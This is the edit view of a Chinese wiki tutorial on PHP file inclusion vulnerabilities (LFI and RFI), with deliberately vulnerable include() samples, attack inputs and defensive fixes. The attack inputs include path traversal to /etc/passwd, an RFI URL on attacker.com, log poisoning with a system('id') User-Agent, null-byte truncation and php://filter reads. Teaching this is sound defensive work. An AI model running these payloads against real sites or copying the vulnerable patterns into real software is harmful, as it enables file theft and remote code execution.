跳转到内容
主菜单
主菜单
移至侧栏
隐藏
导航
首页
最近更改
随机页面
MediaWiki帮助
代码酷
搜索
搜索
中文(中国大陆)
外观
创建账号
登录
个人工具
创建账号
登录
未登录编辑者的页面
了解详情
贡献
讨论
编辑“︁
PHP文件包含漏洞
”︁
页面
讨论
大陆简体
阅读
编辑
编辑源代码
查看历史
工具
工具
移至侧栏
隐藏
操作
阅读
编辑
编辑源代码
查看历史
常规
链入页面
相关更改
特殊页面
页面信息
外观
移至侧栏
隐藏
您的更改会在有权核准的用户核准后向读者展示。
警告:
您没有登录。如果您进行任何编辑,您的IP地址会公开展示。如果您
登录
或
创建账号
,您的编辑会以您的用户名署名,此外还有其他益处。
反垃圾检查。
不要
加入这个!
= PHP文件包含漏洞 = '''PHP文件包含漏洞'''(PHP File Inclusion Vulnerability)是一种常见的安全漏洞,允许攻击者通过动态文件包含机制(如<code>include</code>、<code>require</code>、<code>include_once</code>、<code>require_once</code>)加载恶意文件或执行任意代码。该漏洞通常由于开发者未对用户输入进行严格过滤而导致,可能导致敏感信息泄露、远程代码执行(RCE)等严重后果。 == 基本概念 == PHP文件包含分为两种类型: * '''本地文件包含(LFI, Local File Inclusion)''':攻击者可以包含服务器本地的文件。 * '''远程文件包含(RFI, Remote File Inclusion)''':攻击者可以包含远程服务器上的文件(需<code>allow_url_include</code>启用)。 === 漏洞成因 === 文件包含漏洞通常发生在动态加载文件时未对用户输入进行校验,例如: <syntaxhighlight lang="php"> <?php $page = $_GET['page']; include($page . '.php'); ?> </syntaxhighlight> 如果攻击者控制<code>page</code>参数,可能通过构造恶意输入(如<code>../../../etc/passwd</code>或远程URL)读取敏感文件或执行代码。 == 漏洞示例 == === 本地文件包含(LFI) === 以下是一个易受攻击的代码示例: <syntaxhighlight lang="php"> <?php $file = $_GET['file']; include('/var/www/html/' . $file); ?> </syntaxhighlight> '''攻击方式:''' * 输入:<code>file=../../../../etc/passwd</code> * 结果:服务器返回<code>/etc/passwd</code>文件内容。 === 远程文件包含(RFI) === 若<code>allow_url_include=On</code>,攻击者可包含远程恶意脚本: <syntaxhighlight lang="php"> <?php $lib = $_GET['lib']; include($lib . '.php'); ?> </syntaxhighlight> '''攻击方式:''' * 输入:<code>lib=http://attacker.com/malicious</code> * 结果:加载并执行远程恶意代码。 == 实际案例 == === 案例1:CMS文件包含漏洞 === 某内容管理系统(CMS)因未过滤用户输入,导致攻击者通过以下URL读取配置文件: <code>http://example.com/index.php?module=../../../config/db</code> === 案例2:日志文件中毒 === 攻击者通过User-Agent注入PHP代码到日志文件,再通过LFI包含日志文件执行代码: <syntaxhighlight lang="php"> GET /index.php?page=/var/log/apache2/access.log HTTP/1.1 User-Agent: <?php system('id'); ?> </syntaxhighlight> == 防御措施 == === 输入验证 === * 使用白名单机制限制可包含的文件: <syntaxhighlight lang="php"> $allowed = ['home', 'about', 'contact']; if (in_array($_GET['page'], $allowed)) { include($_GET['page'] . '.php'); } </syntaxhighlight> === 禁用危险配置 === * 在<code>php.ini</code>中设置: <code>allow_url_include = Off</code> <code>allow_url_fopen = Off</code> === 使用绝对路径 === 避免相对路径遍历: <syntaxhighlight lang="php"> $base_dir = '/var/www/html/'; $file = basename($_GET['file']); include($base_dir . $file); </syntaxhighlight> === 文件扩展名限制 === 强制校验文件扩展名: <syntaxhighlight lang="php"> $file = $_GET['file'] . '.php'; if (preg_match('/^[a-z0-9-]+\.php$/i', $file)) { include($file); } </syntaxhighlight> == 高级利用技术 == === NULL字节截断 === (PHP < 5.3)攻击者可在路径后添加<code>%00</code>截断后缀: <code>file=../../../etc/passwd%00</code> === PHP伪协议 === 利用<code>php://filter</code>读取文件源码: <code>file=php://filter/convert.base64-encode/resource=config.php</code> <mermaid> graph TD A[用户输入] --> B{是否过滤?} B -->|否| C[包含恶意文件] B -->|是| D[安全包含] C --> E[信息泄露/RCE] </mermaid> == 数学表达 == 文件包含漏洞可形式化为: <math> \exists p \in P, \nexists V \Rightarrow \text{LFI/RFI} </math> 其中: * <math>P</math>:所有用户输入路径 * <math>V</math>:输入验证函数 == 总结 == PHP文件包含漏洞危害严重,开发者应始终: # 禁用不必要的PHP配置(如RFI)。 # 对用户输入实施严格白名单验证。 # 避免直接拼接动态文件路径。 # 定期更新PHP版本以修复已知漏洞。 [[Category:编程语言]] [[Category:PHP]] [[Category:PHP安全编程]]
摘要:
请注意,所有对代码酷的贡献均被视为依照知识共享署名-非商业性使用-相同方式共享发表(详情请见
代码酷:著作权
)。如果您不希望您的文字作品被随意编辑和分发传播,请不要在此提交。
您同时也向我们承诺,您提交的内容为您自己所创作,或是复制自公共领域或类似自由来源。
未经许可,请勿提交受著作权保护的作品!
取消
编辑帮助
(在新窗口中打开)